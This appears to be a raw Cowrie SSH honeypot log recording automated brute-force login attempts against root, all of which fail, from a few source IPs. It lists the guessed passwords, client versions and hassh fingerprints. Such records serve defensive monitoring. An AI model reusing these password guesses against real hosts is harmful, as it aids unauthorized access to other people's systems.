{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:27:8f:43:46:c7:06:78:c5:f4:91:b1:5d:2c:fd:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+WbOQO7NVbH4bDm2rnxpL9BMYX5a6kgrhuRjJpuWlopgsvG1ZnoN3DeekUv+OsDGsV/nAYgaIS4A4LYpObJ5UUjEWKff/G0JlXY9qnX7J0TaFljaVCBkU3EVfQPXQC0RNMeBAKHVkp0d+f1WD9Coa/E3zWdHpl0S6H2GifH4mKI64VJvANHuCYYmucnuj1otzSWeRRmKghuM7JxhJ9g0V6ktS3ecMYUoTX4tj4vVGVc5cBptiT6aK+sKv7yr1MxO0FX1bGtCSrtxYXnFZlyRsFpW59yLrhhMo6Pw64hMfB3yAvo79VMA3FdO/dv7gjNdpdJ33tSYke0tqMnthtq3l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:30.363528Z","src_ip":"23.239.96.154","session":"7902df89e22b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:3c:fe:36:ad:2e:64:94:d0:80:60:be:77:4a:1b:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeEVC6zpcwSY+6UY4XklJ0t2RoUElQqyw6wOxBUVkISk0jQ9JRtrOUJgvaSd9Zxm+MWPCq/Ek/7Ohf0JKVFMq2qzQxbOA4vQa7YtL06V6MrTx1katmjLBoz1p+e6b0LICJ0aGX7ElakZcZNLkrF7DfB5N5aDIxM7046k/turCFeeHPBHW/2XsmXE4JHViPyySNch2B6HkEno8pVdLdhIJFXgIiVr6w7ucmC7mV61IhKFHy30LCLhbc0jM2o6+6HrHSqvMrqbR0tQTEqZVEQjZH2vnGRgWr75mnOORgQoNBc6+rGuop7fHLeVVb6l0C1ysxDc88W8GJeuxcznUudjod","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:3c:fe:36:ad:2e:64:94:d0:80:60:be:77:4a:1b:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:30.425833Z","src_ip":"23.239.96.154","session":"7902df89e22b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:3c:fe:36:ad:2e:64:94:d0:80:60:be:77:4a:1b:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeEVC6zpcwSY+6UY4XklJ0t2RoUElQqyw6wOxBUVkISk0jQ9JRtrOUJgvaSd9Zxm+MWPCq/Ek/7Ohf0JKVFMq2qzQxbOA4vQa7YtL06V6MrTx1katmjLBoz1p+e6b0LICJ0aGX7ElakZcZNLkrF7DfB5N5aDIxM7046k/turCFeeHPBHW/2XsmXE4JHViPyySNch2B6HkEno8pVdLdhIJFXgIiVr6w7ucmC7mV61IhKFHy30LCLhbc0jM2o6+6HrHSqvMrqbR0tQTEqZVEQjZH2vnGRgWr75mnOORgQoNBc6+rGuop7fHLeVVb6l0C1ysxDc88W8GJeuxcznUudjod","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:30.429960Z","src_ip":"23.239.96.154","session":"7902df89e22b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:30.490964Z","src_ip":"23.239.96.154","session":"7902df89e22b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lionking","message":"login attempt [root/lionking] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:30.979135Z","src_ip":"60.165.124.241","session":"077dcddb9c13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:33.474463Z","src_ip":"60.165.124.241","session":"077dcddb9c13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49546,"dst_ip":"10.17.0.5","dst_port":22,"session":"a51849f9572a","protocol":"ssh","message":"New connection: 60.165.124.241:49546 (10.17.0.5:22) [session: a51849f9572a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:33.682958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:33.688066Z","src_ip":"60.165.124.241","session":"a51849f9572a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:33.924877Z","src_ip":"60.165.124.241","session":"a51849f9572a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1xsw2cde3vfr4","message":"login attempt [root/zaq1xsw2cde3vfr4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:36.625900Z","src_ip":"60.165.124.241","session":"a51849f9572a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:37.882987Z","src_ip":"60.165.124.241","session":"a51849f9572a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54934,"dst_ip":"10.17.0.5","dst_port":22,"session":"29520b393ad9","protocol":"ssh","message":"New connection: 60.165.124.241:54934 (10.17.0.5:22) [session: 29520b393ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:39.137142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:39.141526Z","src_ip":"60.165.124.241","session":"29520b393ad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:45.469635Z","src_ip":"60.165.124.241","session":"29520b393ad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Fj123456","message":"login attempt [root/Fj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:46.239501Z","src_ip":"60.165.124.241","session":"29520b393ad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:48.124177Z","src_ip":"60.165.124.241","session":"29520b393ad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38544,"dst_ip":"10.17.0.5","dst_port":22,"session":"6af1e2c80922","protocol":"ssh","message":"New connection: 60.165.124.241:38544 (10.17.0.5:22) [session: 6af1e2c80922]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:48.397632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:48.402707Z","src_ip":"60.165.124.241","session":"6af1e2c80922","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:48.672737Z","src_ip":"60.165.124.241","session":"6af1e2c80922","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd112233","message":"login attempt [root/Asd112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:49.498238Z","src_ip":"60.165.124.241","session":"6af1e2c80922","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:50.770515Z","src_ip":"60.165.124.241","session":"6af1e2c80922","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41612,"dst_ip":"10.17.0.5","dst_port":22,"session":"10afcf94e15f","protocol":"ssh","message":"New connection: 60.165.124.241:41612 (10.17.0.5:22) [session: 10afcf94e15f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:51.018903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:51.031842Z","src_ip":"60.165.124.241","session":"10afcf94e15f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:54.300135Z","src_ip":"60.165.124.241","session":"10afcf94e15f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasxcq23e@#%X3e","message":"login attempt [root/asdasxcq23e@#%X3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:55.741607Z","src_ip":"60.165.124.241","session":"10afcf94e15f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:57.002454Z","src_ip":"60.165.124.241","session":"10afcf94e15f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48862,"dst_ip":"10.17.0.5","dst_port":22,"session":"016e1d0ff492","protocol":"ssh","message":"New connection: 60.165.124.241:48862 (10.17.0.5:22) [session: 016e1d0ff492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:57.254695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:57.260464Z","src_ip":"60.165.124.241","session":"016e1d0ff492","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:57.518739Z","src_ip":"60.165.124.241","session":"016e1d0ff492","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1ZAQ!","message":"login attempt [root/zaq1ZAQ!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:35:59.030271Z","src_ip":"60.165.124.241","session":"016e1d0ff492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:00.289042Z","src_ip":"60.165.124.241","session":"016e1d0ff492","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52958,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d3475542d4b","protocol":"ssh","message":"New connection: 60.165.124.241:52958 (10.17.0.5:22) [session: 1d3475542d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:01.538526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:01.548784Z","src_ip":"60.165.124.241","session":"1d3475542d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:01.802887Z","src_ip":"60.165.124.241","session":"1d3475542d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Net123456","message":"login attempt [root/Net123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:03.282567Z","src_ip":"60.165.124.241","session":"1d3475542d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:04.523972Z","src_ip":"60.165.124.241","session":"1d3475542d4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57834,"dst_ip":"10.17.0.5","dst_port":22,"session":"91824a4a0cdc","protocol":"ssh","message":"New connection: 60.165.124.241:57834 (10.17.0.5:22) [session: 91824a4a0cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:04.759125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:04.763609Z","src_ip":"60.165.124.241","session":"91824a4a0cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:05.000260Z","src_ip":"60.165.124.241","session":"91824a4a0cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234pass","message":"login attempt [root/1234pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:05.717794Z","src_ip":"60.165.124.241","session":"91824a4a0cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:06.957197Z","src_ip":"60.165.124.241","session":"91824a4a0cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60942,"dst_ip":"10.17.0.5","dst_port":22,"session":"4947c586d5ed","protocol":"ssh","message":"New connection: 60.165.124.241:60942 (10.17.0.5:22) [session: 4947c586d5ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:07.192696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:36:07.201767Z","src_ip":"60.165.124.241","session":"4947c586d5ed","protocol":"ssh"}
